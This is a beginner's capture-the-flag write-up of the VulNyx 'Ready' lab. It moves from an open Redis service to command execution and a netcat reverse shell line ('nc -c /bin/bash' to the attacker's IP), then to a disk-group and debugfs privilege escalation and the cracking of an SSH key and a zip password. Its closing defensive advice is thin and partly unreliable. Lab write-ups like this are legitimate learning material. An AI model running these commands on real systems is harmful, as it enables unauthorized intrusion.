VulNyx - Ready Write-up

This will be our first write-up for a vulnerable machine. We will learn a more efficient and effective process, hopefully, as we continue to track the future write-ups. As I am new to most of this, I will use some outside resources/other's writeups. I will document the username at the time I use their information but will not look past that. I want to challenge myself to complete these on my own to help grow my knowledge. With all that being said, let's dive right into it.

First things first, I booted up both machines (Kali-Linux and VulNyx - Ready". Upon which, I was met with the VM name (Ready) and the IP address (192.168.238.129), which you can see in screenshot #1. Therefore, my first though were to scan all the open port on IP address 192.168.238.129. I used Nmap for this purpose to see all the open ports. After the scan, three ports came back: 22, 80, 8080 (seen in screenshot #2).

Screenshot #1:

Screenshot #2:

Since I see that port 8080 is open, I would assume that would be a webpage. Therefore, I went to my browser at IP 192.168.238.129:8080. After inputting that into my browser, it produced the default webpage for Apache2 (seen in screenshot #3).

Screenshot #3:

This is where I ran into issues with my lack of knowledge. At this point I didn't know what tools to use but was just hoping there was a directory within the webpage directory. I tried /root, /password, /sysadmin, and other such things. I had no luck with none of these, obviously. This is when I turned to the write-up from user "loco0000" at Ready · loco0000 (loco00003.github.io). "loco0000" used a tool called "redis-cli" that I have never seen before. After some research at redis-cli | Redis Documentation Center, I learned that you can just do the command "redis-cli -h 192.168.238.129" and hope for no passwords. This can be seen in screenshot #4.

Screenshot #4:

After a lot of guessing, I found out that "info" will give you a lot of feedback about the webpage. Some of the information can be seen in screenshot #5, but there is a lot more to it. I noted that the tcp_port was 6379, but not sure how important that is at the moment.

Screenshot #5:

Once again, I hit a wall with my knowledge. I turn back to user "loco0000" for guidance. In turn, they enlightened me of a SSH exploit from HackTricks where you can run a command to set an SSH key. I followed both user "loco0000" and HackTricks guidance here as this is completely new to me and have very little concept. This can be seen in screenshot #6.

Screenshot #6:

However, I could not get this to work. I will have to do further research in the future with this specific exploit. This is when I turned another user's write-up called "noname" found at VulNyx - Ready | noname. In this, "noname" used a shell. I followed the same format and implemented it in my own terminal. This can be seen in screenshot #7. Additionally, "noname" then uses this to launch a reverse shell since you can execute code. In screenshot #8, you can see me implement a reverse shell code using port 443.

Screenshot #7:

Screenshot #8:

After a break, I came back to it and decided to reset the vulnerable virtual machine. From now on, our new target IP address will be "192.168.238.132". This can be seen in screenshot #9. We will repeat all the same steps, up until now.

Screenshot #9:

Finally, I have gotten everything straightened how I wanted to. Now that we can execute commands in the URL, I have decided to use netcat. The command I used was "nc -c /bin/bash 192.168.238.130". You can see we are connected in the terminal on the left side of screenshot #10.

Screenshot #10:

I have found two pieces of information that seems relevant thus far. First, I used "cat /etc/passwd" to find out there are two users within this machine. User "ben" is a non-root user since he has a 1000 UID, as you can see in screenshot #11. The other user, "peter", has root permission. That will be our target user. The other piece of information is a text filed label "user.txt" in ben's home directory. Not sure how important it is as the text is encoded inside, but we will keep that in the back of our mind.

Screenshot #11:

Once again, we turned back to HackTricks to figure out what the next step will be to continue. I know that I need to execute some sort of privilege execution, but don't have that kind of experience yet. There is an exploit using the disk group to basically get root privileges, even though it's not technically root. We see what disks we have and put it in a readable form for us using "-h" as seen in screenshot #12.

Screenshot #12:

Next, we to find "debugfs" and mount it to "/dev/sda1". This can be seen in screenshot #13.

Screenshot #13:

After we mount it, we can cat into the id_rsa key. However, it is encrypted. At this point in time, I know there are tools to crack it, but do not know them. This is where I turned back to noname's write-up. In which, noname used something called RSAcrack. I copied the encrypted key to my machine and then cloned RSAcrack. After downloading "rockyou.txt" from GitHub to have a wordlist, we have found out the password. This can be seen in screenshot #14.

Screenshot #14:

After using SSH to login into root and putting in "shelly" as the password, we are now logged in as root. This can be seen in screenshot #15.

Screenshot #15:

There we go. As seen in screenshot #16, we have the root.zip file.

Screenshot #16:

I opened an http server to download to root.zip file onto my machine. Then, I used JohnTheRipper to get the hash. Next, I used the "rockyou.txt" file to get the password for the root.zip file. All this can be seen in screenshot #17.

Screenshot #17:

We unzipped it, put in the password and got the root flag. This can be seen in screenshot #18.

Screenshot #18:

I also forgot about the "user.txt" file we found earlier. I opened an http server once again (screenshot #19) and downloaded the flag. This one had no encryption or password protection. This can be seen in screenshot #20.

Screenshot #19:

Screenshot #20:

Now, how could of all this been prevented. To start off, if the machine had closed the SSH port (port 22), we would not have been able to gain access to the machine. Additionally, if the web application had a firewall (WAF), it would be a lot safer and harder to exploit. Lastly, if you code your own website, you can avoid some things such as "setTimeout()" which can be exploited according to Snyk.

I feel like I have learned a lot within this experiment. I learned how to use tools such as Redis-Cli and RSAcrack. I also learned about mounting exploits and id_rsa's. As I continue to do this, I will hopefully gain a lot of insightful knowledge into all of these exploits.